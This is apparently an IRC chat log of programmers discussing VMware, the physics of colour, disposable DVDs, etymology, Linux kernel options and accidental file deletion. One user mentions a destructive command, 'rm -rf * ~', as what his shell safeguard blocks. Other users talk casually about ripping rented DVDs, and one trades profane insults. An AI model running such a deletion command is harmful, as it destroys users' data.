19:02:30 <AnMaster> it seriously messes up on irc servers with more prefixes than +%@
19:02:41 <pikhq> AnMaster: Not in my experience.
19:02:48 <AnMaster> pikhq, well in my experience it does.
19:02:55 <GregorR-L> pikhq: VMWare on OS X, which is garbage-o and 32-bit even on a 64-bit proc.
19:02:56 <pikhq> I know that Foonetic has those.
19:03:09 <pikhq> GregorR-L: *Ouch*.
19:03:23 <Deewiant> Gah, too esoteric. I'll have to look for docs or something some day.
19:03:29 -!- bsmntbombdood has joined.
19:03:32 <AnMaster> vmware server on 32-bit windows can run 64-bit guests, if the cpu is 64-bit
19:03:37 <GregorR-L> More and more features crashed as nobody maintained it, until it was finally just an obscure error message.
19:03:54 <pikhq> AnMaster: That's pretty spiffy.
19:04:10 <AnMaster> pikhq, well useless to me. since I run 64-bit Linux as the host OS
19:04:21 <pikhq> Of course, VMware Server 2.0 is crappy.
19:04:22 <Deewiant> http://www.google.com/trends?q=hotbot%2C+altavista
19:04:39 <pikhq> The management interface is AJAX.
19:04:50 <pikhq> The server for this is Java EE.
19:04:51 <AnMaster> and that is basically useless to me
19:05:08 <AnMaster> pikhq, what part runs the actual emulation? Not the java bit surely?
19:05:42 <pikhq> The management interface is truly awful.
19:05:54 <pikhq> And has malloced 600M.
19:06:00 <AnMaster> pikhq, the old one wasn't very good either. But not that bad
19:06:11 <AnMaster> the old console was however usable
19:06:29 <pikhq> If you count Firefox (only works in Firefox), it has malloced ALL THE MEMORY.
19:06:50 <pikhq> (without having a virtual machine)
19:07:09 <pikhq> Might also work in IE. Doubt it, though.
19:07:38 <pikhq> Among other things, it has a Firefox extension to support displaying the VM's screen.
19:07:40 <fizzie> HP's printer drivers used to contain a complete copy of Apache Tomcat, just because some printer status dialog was implemented as a JSP "web page".
19:08:16 <pikhq> For comparison, VMware Server 1.0 had a GTK program.
19:08:24 -!- upyr[emacs] has quit (Remote closed the connection).
19:08:37 <AnMaster> pikhq, I know. I used the 1.0 one just a few weeks ago
19:08:58 <AnMaster> pikhq, what about the workstation one
19:08:59 <pikhq> AnMaster: Nice, isn't it? (by nice, I mean "actually works")
19:09:11 <pikhq> Roughly the same as the 1.0 one.
19:09:20 <AnMaster> pikhq, yes it actually works, as long as someone patches the kernel module for it every now and then
19:09:28 <AnMaster> so far it has been possible to port it forward
19:09:41 <pikhq> Oh, the worst part about this AJAX Java *shit*?
19:09:52 <pikhq> I get to wait for it to *load*.
19:09:58 <pikhq> CONNECTED TO LOCALHOST.
19:10:42 <AnMaster> assuming your CPU is new enough
19:10:51 <pikhq> CPU's not new enough.
19:11:05 <pikhq> And this is for work.
19:11:55 <augur> pikhq: i read that as "CONNECTED TO HOLOCAUST"
19:12:06 <augur> its only one letter off, after jumbling D:
19:12:57 <pikhq> Loading. For a UI. On localhost.
19:13:10 <pikhq> I think that raw X11 via modem is more usable.
19:15:14 -!- k has joined.
19:15:35 -!- kar8nga has quit (Nick collision from services.).
19:15:36 -!- k has changed nick to kar8nga.
19:17:07 -!- GregorR-L has changed nick to WHy.
19:17:10 -!- WHy has changed nick to Why.
19:17:29 * Why would this name be a source of confusion?
19:17:44 * Why is the sky blue?
19:17:48 * Why is the grass green?
19:21:02 * Why don't you send Gregor some money?
19:21:15 * Why , you find that to be an excellent idea!
19:21:15 <pikhq> Because my college claims all of it.
19:21:18 <augur> i can answer why to the last two questions
19:21:42 * Why are you making excuses, when you know you want to send money to Gregor?
19:21:52 -!- AnMaster has changed nick to Because.
19:22:23 -!- Because has changed nick to AnMaster.
19:22:33 <Why> That's how I got "Why" :P
19:22:36 <augur> the sky is blue because red light is scattered at a lower angle than blue light, so blue light can scatter all over the place, while red light only scatters slightly (hence warmer colors in the evening, when the angles are shallower!)
19:22:41 -!- Why has changed nick to write.
19:22:44 <write> As well as this one
19:22:45 <augur> grass is green because of chlorofil.
19:23:05 <write> augur: That's not much of an answer.
19:23:30 <write> augur: That's like "why is that painting all red?" "because the paint uses iron for pigmentation"
19:24:37 -!- pikhq has changed nick to Kial.
19:24:51 -!- write has changed nick to GregorR-L.
19:25:09 * Kial vi ne parolas Esperanton?
19:25:13 -!- Kial has changed nick to pikhq.
19:25:26 <AnMaster> GregorR-L, "<write> augur: That's like "why is that painting all red?" "because the paint uses iron for pigmentation"" <-- perfectly valid?
19:25:43 <pikhq> AnMaster: But useless.
19:25:58 <lament> the sky is blue because it is made of air, and air is blue in color.
19:26:23 <pikhq> The sky is blue because SHUT UP AND DRINK YOUR DAMNED TEA.
19:26:27 <AnMaster> for example, very useful if you already know why iron often gives a red colour.
19:26:51 <pikhq> Unless you wish to know why red was chosen for the painting.
19:27:07 <AnMaster> pikhq, oh of course that is another way to interpret the question
19:27:21 <lament> when people ask why the sky is blue, do they mean "why" in the sense of purpose or in the sense of a physical explanation?
19:27:45 <AnMaster> lament, I always assume the latter.
19:27:53 <AnMaster> Since the former is nonsense when it comes to the sky
19:28:03 <GregorR-L> AnMaster: BECAUSE GOD LIKES THE COLOR BLUE
19:28:05 <AnMaster> for paint it might not be nonsense of course
19:28:08 <pikhq> AnMaster: Unless you're theistic.
19:28:12 <lament> AnMaster: but that makes no sense
19:28:22 <lament> AnMaster: why single out the sky?
19:29:10 <lament> AnMaster: a good answer would be "because all visible physical objects have a color, and blue is as good as any"
19:29:16 <AnMaster> lament, in this case, because if you see a painted house or such someone probably decided what colour to give it. Unless they picked at random or such
19:29:35 <lament> or, "because if the sky was green, you would ask why is it green"
19:30:01 <AnMaster> similar to the "so you had something to ask about" reply in other cases.
19:30:30 <AnMaster> the physically explanation is usually what you want IME.
19:30:36 <lament> but there is no physical explanation.
19:31:22 <lament> "because certain electrons have certain transitions that correspond to a wavelength we perceive as blue" is not any different from "it's blue because it's blue"
19:31:26 <AnMaster> The fact that iron gives a red colour in paint, yet pure iron isn't red (it is a grey metal afaik), is rather interesting.
19:31:45 <AnMaster> iron can also be black, with enough carbon in it
19:32:45 <pikhq> There's a lot of metals that have different colors in compounds.
19:33:06 <pikhq> Copper, for example, is blue in compounds.
19:33:16 <lament> the reason for gold being yellow is absolutely insane
19:33:21 <GregorR-L> Which is why I have to stay away from certain green fabrics :P
19:33:25 <lament> quantum tunneling effects or something
19:33:49 <pikhq> lament: Really? That's... Wow.
19:34:08 <GregorR-L> Gold reacts differently, depending on subtle relativistic effects that affect the orbitals around gold atoms.
19:35:07 <GregorR-L> Hahah, "relativistic effects" links to the page "Relativistic quantum chemistry"
19:35:10 <lament> that the only reason this explanation is relevant
19:35:13 <GregorR-L> The very existence of that page makes my brain hurt.
19:35:16 <lament> is because the real question is not "why is gold yellow"
19:35:26 <lament> the real question is "why is gold yellow, unlike the other metals?"
19:35:30 <AnMaster> pikhq, I'm well aware of the different colour in compounds thing
19:35:36 <AnMaster> and also I think I remember the reason
19:35:36 <lament> but when people ask why the sky is blue
19:36:21 <AnMaster> <GregorR-L> (that was from The Oracle) <-- why would you trust that
19:36:32 <lament> they really just mean why it is blue
19:36:45 <AnMaster> are we talking about the same thing
19:36:48 <lament> so there's no need for a physical explanation, you can just tell them to go fuck themselves
19:36:55 <AnMaster> GregorR-L, not the internet oracle then?
19:37:17 <AnMaster> GregorR-L, this is: http://cgi.cs.indiana.edu/~oracle/index.cgi
19:37:28 <pikhq> I prefer bowing before Kibo.
19:38:16 <AnMaster> <GregorR-L> Gold reacts differently, depending on subtle relativistic effects that affect the orbitals around gold atoms. <-- where is the quote from
19:38:29 <GregorR-L> http://en.wikipedia.org/wiki/Gold#Color_of_gold
19:38:53 <AnMaster> GregorR-L, yeah, looked how many pages wikipedia has? It's like saying "oh it was from the library" when someone asks "what book"?
19:39:24 <GregorR-L> It wouldn't have been that complicated to figure out that it was PROBABLY on the Wikipedia page "Gold" X_X
19:40:04 <GregorR-L> "Gold reacts differently, depending on subtle relativistic effects that affect the orbitals around gold atoms." // I know this is on Wikipedia, but I guess I'll just have to go to Special:Random a billion fucking times until I find it.
19:40:28 <AnMaster> GregorR-L, oooh nice. BogoSearch
19:40:35 <AnMaster> it is like bogosort, but for searching
19:40:48 <AnMaster> you have bogosearch, binary search, and so on
19:41:33 <AnMaster> Deewiant, an alias for asking ehird on irc :D
19:41:43 <AnMaster> http://en.wikipedia.org/wiki/Search_algorithm
19:42:44 -!- Floor_Feline has changed nick to Gracenotes.
19:43:14 <AnMaster> THAT explains why nick completion worked so well today
19:43:42 <AnMaster> I suggest you keep the nick "Floor_Feline". VERY nice nick. :P
19:44:09 <AnMaster> L sorts after I too. So even better
19:44:28 <pikhq> Man, "Flexplay" and other disposable DVD formats.
19:44:47 <pikhq> Great for people willing to copy a DVD.
19:45:00 <pikhq> Crap for everyone else.
19:45:06 <Gracenotes> g, r, e. They're, like, right next to each other
19:45:17 <AnMaster> pikhq, "disposable DVD"? Err what
19:45:39 <AnMaster> Gracenotes, I usually type two chars before tab completing
19:45:53 <pikhq> AnMaster: The plastic used in them slowly reacts with oxygen to make them unplayable after 48 hours.
19:46:12 <AnMaster> pikhq, how silly. And the shelf life would be very short
19:46:23 <pikhq> They're stored sealed.
19:46:23 <AnMaster> oh and they would cost more than normal DVDs to manufacture I guess?
19:46:29 <GregorR-L> I switched to GKennethR on Sine for this reason.
19:46:41 <pikhq> They're on sale today.
19:46:45 <pikhq> And yes, they cost more.
19:46:55 <AnMaster> pikhq, so what is the point if they cost more
19:47:06 <pikhq> Competing with rentals.
19:47:07 <AnMaster> GregorR, is this a reference to Discworld?
19:47:08 <GregorR-L> AnMaster: They sell them for less because you have to rebuy them.
19:47:11 <Gracenotes> I REGRET THAT I HAVE BUT ONE NICK TO CHANGE
19:47:26 <AnMaster> GregorR-L, "Wee free men" you know.
19:47:26 <pikhq> And they've still got a ridiculous profit margin on the things.
19:48:29 <GregorR-L> I've never actually /seen/ them, but I'd heard of them.
19:48:30 <AnMaster> GregorR, they showed up in four different books so far. Extremely important parts in three of them
19:48:32 <pikhq> But they're dirt cheap for anyone willing to, y'know, use a DVD burner.
19:48:36 <GregorR-L> And $5 is RIDICULOUSLY expensive for that.
19:48:42 <GregorR-L> Considering that RedBox is $1/night.
19:48:44 <AnMaster> GregorR-L, "seen"? You mean "read about"?
19:48:56 <pikhq> I've seen them in stores.
19:49:05 <AnMaster> GregorR, not talking about the same thing any more?
19:49:09 <pikhq> I skipped out on those.
19:49:30 <GregorR-L> AnMaster: But no, that was a Braveheart reference.
19:49:30 <AnMaster> GregorR, but was it such a reference or not?
19:49:34 <pikhq> Since, well... New DVDs are $10. RedBox rentals are $1/night.
19:49:58 <pikhq> I can either spend a bit more and get a full disc, or a bit less and copy it.
19:50:15 <GregorR-L> AnMaster: It's a DVD rental machine in the US.
19:50:38 <pikhq> It's a little vending-machine type thing.
19:50:58 <AnMaster> How the hell would they be able to check who rented it and make sure they get them back from a machine
19:51:10 <GregorR-L> AnMaster: You have to use a card, and it charges you regardless.
19:51:21 <pikhq> They have your credit card information, and if you keep the thing for 30 days, it's yours.
19:51:44 <GregorR-L> There's one a block from my apt, so I use it now and then.
19:52:00 <pikhq> I've not used it, but I may soon as I get a DVD burner.
19:52:02 * AnMaster haven't watched video or dvd for over a year by now
19:52:26 <AnMaster> well, except short youtube videos and such of course
19:52:37 <GregorR-L> pikhq: I rip to .mkv and then return several hours after I checked it out :P
19:52:44 <AnMaster> I have no TV either, I do have an old VHS unit
19:52:55 <pikhq> GregorR-L: I'd do that if I had a terabyte hard drive.
19:53:18 <pikhq> Though, really, I could just rip anyways; I've got free space.
19:53:22 <AnMaster> GregorR, And a gramophone player. (Or do you call it something else in US? I forgot.)
19:53:29 <pikhq> (H.264 and AAC. :P)
19:53:35 <AnMaster> I actually use the gramophone player sometimes
19:53:35 <pikhq> AnMaster: Gramophone or record.
19:53:41 <pikhq> Record is more common.
19:53:44 <AnMaster> played some music from the 70s
19:54:05 <GregorR-L> Which is why we use it in America.
19:55:02 <AnMaster> (When words containing ph are imported from English to Swedish those "ph" turns into "f".)
19:55:15 <AnMaster> though I guess gramophone is originally Latin
19:55:36 <GregorR-L> What with the invention of the gramophone machine in the year 15 :P
19:56:09 <AnMaster> GregorR, ... the word sounds like it is based on Latin words
19:56:30 <AnMaster> btw, telephone -> telefon in Swedish
19:56:48 <AnMaster> ph in Swedish would be extremely strange.
19:57:35 <Deewiant> AnMaster: You fail Latin; phone is Greek
19:57:52 <AnMaster> Deewiant, I don't know either Greek or Latin, so quite possibly
19:58:44 <AnMaster> Deewiant, the words imported from them are in some aspects rather similar. Hard to tell from which of those it comes
19:59:14 <Deewiant> Audio is Latin, phone is Greek.
20:01:03 <GregorR-L> Of course we all know, I just thought it would be amusing to say words like that.
20:01:17 <GregorR-L> "I'm answering the remote-sound, turn off the remote-sight"
20:01:57 <AnMaster> it would be funnier to use native names for it
20:02:01 <oerjan> or telescope, which is all greek
20:02:08 <AnMaster> it would be like Leonardo da Qurim
20:02:28 <AnMaster> "Because it submerges into the sea I call it going-under-the-water-safely-device"
20:03:08 -!- Corun_ has joined.
20:03:26 <oerjan> GregorR-L: "fjernsyn" is a norwegian word for television...
20:03:38 <oerjan> although everybody says tv these days
20:03:38 <AnMaster> oerjan, yes you like translating iirc
20:03:58 * AnMaster wonders what broadcasting is in Swedish
20:04:07 <oerjan> i doubt "kring" is danish
20:04:07 <GregorR-L> You people and your multiple languages.
20:04:26 <oerjan> it feels like nynorsk to me
20:04:40 <AnMaster> oerjan, kring sounds like Swedish to me
20:04:48 <oerjan> it _might_ be danish too
20:06:03 <AnMaster> GregorR, Rather lame failed attempt at what might, in the right light, be considered a joke
20:06:32 -!- ais523 has joined.
20:06:32 <AnMaster> needless to say, the right light was not present here.
20:06:39 <oerjan> huh wikipedia has neither swedish nor danish links for "broadcasting"
20:08:04 <oerjan> GregorR-L: also, more like fyernseen
20:09:13 <AnMaster> oerjan, is it like it would be in Swedish?
20:09:17 <augur> oh fine heres a better answer
20:09:27 <augur> there are three kinds of ways things can get color
20:09:42 <GregorR-L> ais523: Help, help, English is being drowned in crazy continental languages!
20:09:42 <oerjan> AnMaster: probably pretty close
20:09:53 <oerjan> maybe with an ä for the first e
20:09:54 <augur> the first is by allowing only some light through then. color filters, for instance, absorb only some colors of light
20:09:59 <AnMaster> oerjan, if so the English approx is rather weird
20:10:06 <augur> whats not absorbed is what color the filter appears to be
20:10:35 <augur> the second is by reflection, where something absorbs some colors of light, while reflecting the rest
20:10:50 <augur> this is why surfaces have the color they do
20:11:08 <augur> and why semi-surfaces like air or steam or whatnot have the color they do
20:11:45 <augur> the third is emmission, whereby the atoms of the thing radiate light of a particular color without reflection or transparency
20:11:46 <fizzie> Finnish for "telephone" is "puhelin", which I guess is a bit like saying "talkie". ("puhe" is "talk", "speech"; but I'm not sure the "-lin" suffix in this particular case has a very definite meaning. Though literally speaking you could read it as a rather informal variation of the "to speak" verb in the first-person imperfect tense; so, "I spoke". Though that would be "puhuin" normally, "puhelin" sounds like you're sort-of chatting and not doing any serious t
20:12:30 <AnMaster> augur, explain the physical properties resulting in iron giving red colour.
20:13:04 -!- augur has quit (Read error: 104 (Connection reset by peer)).
20:13:19 -!- augur has joined.
20:13:31 <AnMaster> fizzie, Finnish is so expressive...
20:13:33 <augur> details specific to irony, or in general?
20:13:52 <augur> i dont know the details of iron.
20:13:57 <augur> but i can give you a general view of it
20:14:02 <AnMaster> I don't remember details for "why bonds give different colour than non-bonds"
20:14:11 <augur> ohwell its not so much bonds, right
20:14:22 <AnMaster> I do remember the electrons moving up to different energy level
20:14:26 <augur> it has to do with the electron shells
20:14:32 <AnMaster> and then "falling" back down and such
20:14:40 <augur> right, thats absorption-reemission
20:14:45 <AnMaster> augur, yes, but "why different in bonds" is the bit I *don't* remember
20:14:47 <augur> im not really sure that that plays a role in reflection tho
20:16:21 <augur> i dont know. it might be that. but im not entirely certain
20:16:47 <oerjan> well bonds occur precisely because they allow the molecule to have a smaller energy than the atom parts, so it is reasonable that some individual electrons would get shifted too
20:17:07 -!- Corun has quit (Read error: 110 (Connection timed out)).
20:17:39 <AnMaster> oerjan, ah yes, now I remember
20:19:56 <AnMaster> it is really interesting how some help texts in linux kernel config is so out of date
20:20:08 <AnMaster> Pocket and portable adapters (NET_POCKET)
20:20:09 <AnMaster> Cute little network (Ethernet) devices which attach to the parallel
20:20:09 <AnMaster> port ("pocket adapters"), commonly used with laptops.
20:20:25 <AnMaster> laptops still have parallel ports?
20:21:39 <fizzie> Meh; things were so easy back at those periods of school when electrons had those well-defined places and anything. In the quantum physics course it was all Schrodinger equations, and we barely managed to actually find some solutions for hydrogen, since it has that "simple" radial equation; and even that involved Laguerre polynomials and whatnot.
20:23:19 <fizzie> And I mean, really, *hydrogen*. You can't get much more simple than that.
20:23:52 <oerjan> free the oppressed electrons!
20:24:34 <oerjan> augur: how _dare_ you make such a misreadable comment
20:24:52 <augur> i meant to write electrons
20:24:54 <AnMaster> I also read it as electron first
20:25:09 <augur> unfortunately, im talking about the iran elections with someone at the same time
20:25:14 <augur> and the words are only one letter off
20:25:20 <augur> YAY LEXICAL PRIMING
20:25:36 <oerjan> free electrons in iron!
20:28:43 <Gracenotes> oh damn it, I just entered an rm command with a wildcard without thinking
20:28:52 <ais523> how much did you lose?
20:29:02 <ais523> I once lost my only Unlambda->Underlambda compiler like that
20:29:04 <Gracenotes> thankfully I didn't delete anything I needed... in fact, I ended up deleting just what I wanted
20:29:06 <ais523> and still haven't recreated it
20:29:19 <ais523> nowadays I set Emacs to save its backups in a different directory from the files themselves
20:29:22 <ais523> to mitigate that sort of thing
20:29:52 <Gracenotes> but I could have accidentally pressed a space and I would have ended up deleting *srt and * :/
20:30:44 <Gracenotes> I just reflexively hit enter. anyway.. I haven't had any rm accidents that I remember...
20:33:09 <augur> http://xkcd.com/594/ PAHAHA
20:41:22 <ais523> GregorR-L: recursively?
20:54:20 -!- sebbu2 has joined.
20:57:00 -!- sebbu has quit (Read error: 60 (Operation timed out)).
20:57:00 -!- sebbu2 has changed nick to sebbu.
21:01:52 <AnMaster> <augur> YAY LEXICAL PRIMING <-- "lexical priming"?
21:02:49 <AnMaster> it only asks for when you have more than x files, and only ask once then
21:03:22 <AnMaster> Gracenotes, I don't use -i either, but -I is quite ok
21:03:38 <Gracenotes> AnMaster: not if you feed yes into it :P
21:03:57 <AnMaster> Gracenotes, I also have a safeguard preventing rm -rf * ~. rm is really a bash function wrapping the real rm here.
21:04:07 <AnMaster> which checks for any argument being ~, and a few other things
21:05:25 <augur> AnMaster: lexical priming is when the content of your thoughts activates words or phrases in preparation for their use, making it more likely that theyll accidentally be spoken in place of semantically, syntactically, or phonologically similar words
21:06:06 <AnMaster> augur, hm ok. "accidentally" doesn't happen there unless someone else suddenly change topic like you did
21:06:23 <augur> when did i change topic?
21:06:25 <augur> i didnt change topic.
21:06:36 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
21:06:41 <AnMaster> augur, also it wouldn't have happen if you had *said* election. Because the difference when spoken is quite a bit more noticeable
21:06:42 <augur> also, no, it has nothing to do with topics.
21:06:51 <AnMaster> <fizzie> And I mean, really, *hydrogen*. You can't get much more simple than that.
21:07:08 <AnMaster> we were talked about electrons
21:07:18 <augur> actually no, anmaster, 1) it could easily have happened in speach
21:07:23 <augur> and 2) i was talking about electrons too.
21:07:27 <AnMaster> augur, not with that specific example
21:07:34 <augur> with that specific example.
21:07:42 <AnMaster> augur, oh. I thought you changed the topic to elections
21:07:56 <augur> were you paying attention AT ALL?
21:08:00 <oerjan> enough of these eel crumbs
21:08:04 <augur> thats why i brought up lexical priming
21:08:06 <AnMaster> augur, I thought you were trying to confuse us!
21:08:25 <augur> anmaster, you thought that because you didnt read, right after that, were i said that i meant electron not electrion
21:08:52 <AnMaster> augur, I missed that line due to someone trying to talk with me in "RL" at the same time yes. A rather annoying person.
21:09:04 <augur> then shut the fuck up with your stupid bullshit
21:09:20 <augur> you do this all the fucking time
21:09:34 -!- GregorR-L has quit (Read error: 60 (Operation timed out)).
21:09:37 <oerjan> yore speeling is giust fine
21:09:46 <augur> you dont pay attention to the channel, and then you get into these fucking arguments because you dont know what the fuck people said
21:09:52 <augur> but you act like you DO know
21:10:12 <AnMaster> augur, so what is it called when it is lexical priming while reading? As in, you read something different than what it says, instead of write something different than you intendent
21:10:34 <augur> thats lexical priming as well. same thing.
21:10:49 <AnMaster> I thought it was that bit we were talking about.
21:11:06 <augur> its lexical priming in both production and recognition
21:11:39 <augur> lexical priming does all sorts of crazy shit.
21:12:10 <AnMaster> Also, 1) yes I sometimes read "holistically", I don't have time to do everything 2) no I don't _intentionally_ act like I read the channel.
21:12:36 <AnMaster> for example I'm also trying to configure a new kernel at the same time as chatting in 5 irc channels, one of them being this one
21:12:55 <augur> maybe you should stop presuming you know whats going on then
21:13:08 <tetha> plus the kernel will prolly panic :)
21:13:16 -!- tombom_ has joined.
21:14:23 <AnMaster> <augur> maybe you should stop presuming you know whats going on then <-- see point 2
21:14:36 <AnMaster> tetha, probably not, I have done this many times before.
21:14:58 <augur> see this whole conversation.
21:15:15 -!- GregorR-L has joined.
21:15:31 <augur> you just randomly start talking about something without having read the relevant text
21:15:38 <augur> you just found a phrase and asked about it
21:16:06 <AnMaster> augur, I did read it. But not completely it seems. I missed one line. So what? Why are you so angry over such a small thing.
21:16:24 <augur> you mustve missed more than one line there buddy
21:16:46 <augur> you missed about three
21:16:46 <AnMaster> no, only the line "<augur> i meant to write electrons"
21:16:53 <augur> TRY THE TWO AFTER THAN HUH
21:17:09 <oerjan> augur: but what does this have to do with elderberries?
21:17:24 <augur> oerjan: im not sure how i feel about elderberries.
21:17:25 <AnMaster> oerjan, I don't understand that joke...
21:17:37 <augur> i had some swedish elderflower drink the other day
21:17:43 <augur> tasted like tea tho
21:18:06 <AnMaster> great, I can't find timestamp on nabble...
21:18:25 <oerjan> AnMaster: you need to understand the price of tea in china
21:18:47 <augur> tea in china is pretty cheap
21:19:56 <AnMaster> oerjan, I don't have time to try to figure out what this joke is. So I won't.
21:20:15 <CESSMASTER> tea in china isn't cheap, if it's in nice china
21:20:36 <oerjan> what if it's drunk by a chinchilla?
21:23:52 <AnMaster> "You may need to mount the usbfs file system to see the files, use
21:23:52 <AnMaster> mount -t usbfs none /proc/bus/usb" <-- /proc is already a pseudo file system, why do you need to mount another peudo file system inside it. Why can't the kernel just "merge" them and show them as one...
21:24:04 <augur> china chinchilla ocha?
21:28:20 -!- tombom has quit (Read error: 110 (Connection timed out)).
21:28:20 -!- tombom_ has changed nick to tombom.
21:28:41 <augur> japanese word for tea
21:28:57 <augur> o- is an honorific prefix
21:29:01 <augur> cha by itself is tea as well
21:31:30 <oerjan> cheerfully chug your chinchilla chai
21:31:44 <augur> chai is the same root as cha
21:34:00 <augur> same root as "tea", actually
21:42:21 -!- sebbu2 has joined.
21:56:46 -!- sebbu has quit (Read error: 110 (Connection timed out)).
21:56:46 -!- sebbu2 has changed nick to sebbu.
22:06:56 <AnMaster> if not, do you remember PPP at least?
22:07:10 <GregorR-L> I remember both, although TBH I learned about SLIP well after PPP :P
22:07:32 <AnMaster> GregorR, ah, you never used SLIP?
22:08:04 <GregorR-L> I only used SLIP over a NULL modem cable.
22:09:04 <AnMaster> GregorR, I found out I had PPP turned on in my kernel for some totally unknown reason
22:09:57 <fizzie> I think EUnet only supported SLIP when we got our first intertube, but it didn't take long for them to add PPP too.
22:12:18 <fizzie> I guess it's even possible that it was some sort of pre-2.0 Trumpet Winsock (for win 3.something) didn't do PPP.
22:12:47 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
22:13:53 <AnMaster> so I wouldn't have run into it
22:14:47 <GregorR-L> IIRC, that was an implementation of Winsock (you heard me), back when real Winsock was Winuseless.
22:18:47 <fizzie> Yes, pre-95 versions didn't do that sort of stuff. Although I seem to recall that they provided some sort of official TCP/IP dialup support too. Maybe around the time IE was ported to 3.1 windows.
22:19:41 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
22:20:18 -!- GregorR-L has quit ("Leaving").
22:20:40 -!- Corun_ has quit.
22:24:06 -!- pikhq has joined.
22:33:05 -!- Corun has joined.
22:37:04 -!- tombom has quit ("Peace and Protection 4.22.2").
23:03:54 -!- Corun has changed nick to Co-Run.
23:04:09 -!- Co-Run has changed nick to Core-Run.
23:09:40 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:27:12 -!- Core-Run has quit (Read error: 104 (Connection reset by peer)).
23:27:27 -!- Co-Run has joined.
23:27:50 -!- M0ny has quit.
23:43:17 -!- KingOfKarlsruhe has quit (Remote closed the connection).
23:59:09 -!- oerjan has quit ("Good night").
00:10:52 -!- GreaseMonkey has joined.
00:21:25 -!- ais523 has quit (Remote closed the connection).
00:30:13 -!- oklopol has joined.
00:39:29 -!- comex has changed nick to c_.
00:39:58 <oklopol> well, see you in a few months :)
00:40:12 <oklopol> or, well, when internet starts flowing in my apartment again
00:40:19 -!- oklopol has quit ("PJIRC @ http://webirk.dy.fi").
00:41:25 <AnMaster> what sort of issue is oklopol having?
00:43:58 <augur> i havent seen oklopol around in ages
00:44:00 <augur> and now hes gone :(
00:54:03 -!- jix_ has quit (Read error: 60 (Operation timed out)).
00:55:29 -!- jix has joined.
00:59:18 <pikhq> I am seeing the funniest behavior from udev.
00:59:37 <pikhq> I was unaware that a joystick should be on /dev/input/js0 yet feeding into /dev/mice.
01:06:23 -!- BeholdMyGlory has quit (Remote closed the connection).
01:24:29 -!- upyr[emacs] has joined.
01:28:09 -!- upyr[emacs] has quit (Remote closed the connection).
01:29:22 -!- upyr[emacs] has joined.
01:31:29 -!- upyr[emacs] has quit (Remote closed the connection).
01:32:01 -!- upyr[emacs] has joined.
01:42:05 -!- upyr[emacs] has quit (Remote closed the connection).
01:42:50 -!- upyr[emacs] has joined.
01:52:31 -!- upyr[emacs] has quit ("ERC Version 5.2 (IRC client for Emacs)").
03:09:54 -!- Co-Run has changed nick to Corun.
03:21:24 <pikhq> That includes your video RAM.
03:21:50 <pikhq> So, if you've got a 1GB video card, that's easy.
03:23:18 <pikhq> Framebuffer, textures, 3D polygons, shader code, temporary buffers that haven't been blitted into the framebuffer, video that the video card is helping render...
03:26:48 <pikhq> Wow. Zicam can cause anosmia. 'Fun'.
03:36:43 * augur steaks pikhq sense of smell
03:38:17 <augur> inability to smell.
03:38:42 <augur> blend of greek, english, and italian
03:38:46 <augur> a- being "without"
03:38:50 <augur> and "mia" being "my"
03:40:11 <augur> who's the linguist here, you?
03:40:35 * pikhq wonders where psygnis is.
03:41:01 <pikhq> STOP CHANGING NICKNAMES.
03:41:09 <augur> i only changed it once, fucker
03:41:21 -!- augur has changed nick to who.
03:41:22 -!- who has changed nick to what.
03:41:36 -!- coppro has changed nick to when.
03:41:46 -!- what has changed nick to how.
03:41:51 -!- how has changed nick to augur.
03:42:11 -!- when has changed nick to coppro.
03:42:13 <augur> tho if i were really being gregor i'd be all like
03:42:59 <Warrigal> Not sure what's up with the -ia.
03:43:03 <augur> oh my god Warrigal go buy yourself a sense of humor
03:45:05 <Warrigal> Sorry, but I simply have no idea where I can do that.
03:51:52 <augur> i need some good coding music
03:52:11 <pikhq> Katamari Fortissimo Damacy.
03:52:42 <pikhq> The Katamari Damacy soundtrack.
03:52:51 <pikhq> It's called Katamari Fortissimo Damacy.
03:53:38 <augur> do you have anything on the interblogs? :P
03:56:26 <pikhq> Gregor Richard's Opuses (Opi?)
03:57:31 <pikhq> http://codu.org/music.php
04:33:24 <augur> http://thedailywtf.com/Articles/For-The-Love-Of.aspx
04:38:10 -!- oklopol has joined.
04:41:48 <oklopol> i think at some point i turned into a mathematician.
04:42:55 <oklopol> programming just seems trivial... hacking is still fun, and coding is okay, but i can't program.
04:43:53 <oklopol> by trivial i don't mean easy
04:43:58 <pikhq> You need to stop doing trivial things.
04:44:27 <oklopol> can you explain to me why it's trivial even though it's occasionally challenging?
04:44:51 <pikhq> Because you're doing something that's already been done, of course. ;)
04:45:26 <oklopol> i'm writing a textbox atm, making a pretty correspondence between logical and physical lines is surprisingly difficult.
04:45:40 <oklopol> and still it feels like i'm not actually solving a problem, just writing down trivialities
04:45:43 <augur> logical and physical lines?
04:46:11 <oklopol> wrapping is what physical lines do
04:46:42 <augur> so what are you griping about now?
04:47:35 <oklopol> just thought some of you might still think i'm a programmer.
04:48:01 <augur> oklopol you're an idiot.
04:48:07 <augur> but i still want you in me.
04:48:22 <pikhq> I recommend you do something non-trivial.
04:48:34 <pikhq> INVENT something, don't just do something well-known.
04:48:39 <augur> <oklopol> just thought some of you might still think i'm a programmer. << thats how
04:48:50 <augur> man, i wanna invent something :(
04:48:58 <oklopol> pikhq: i have invented something, this is just something i need to do before i can get to that
04:49:16 * pikhq hands oklopol The Art of Computer Programming
04:49:30 <oklopol> augur: why's that idiotic?
04:49:44 <oklopol> pikhq: i have that, haven't read it yet, what's your point?
04:49:44 <augur> IF YOU NEED TO ASK
04:50:05 <oklopol> augur: i don't need to, i want to
04:50:43 <oklopol> pikhq: i'm making this game where you try to guess the code that produces a given 2d fractal, which keeps evolving.
04:50:57 <oklopol> slowly, but faster than you can type the code to draw it
04:50:59 <pikhq> Read it, man. And enjoy your damned MIX.
04:52:09 <oklopol> i'm reading sicp now, finally decided to finish it
04:52:32 <oklopol> also read rwh, probably the most error-ridden book i've ever read
04:52:34 <augur> i havent actually read the book, but the videos <3
04:52:52 <oklopol> some of the programs are so wrong i simply couldn't continue reading for a while
04:53:04 <oklopol> and one of the example runs actually errors out
04:53:17 <oklopol> and they continue explaining the result even though there isn't one
04:53:39 <oklopol> but, it was also a very well written book, so kinda evens out.
04:53:58 <augur> WELL ATLEAST THERES THAT
04:54:52 <augur> I have only described it beautifully, not tried it.
04:55:20 <oklopol> <augur> i havent actually read the book, but the videos <3 <<< you told ehird you've read it twice
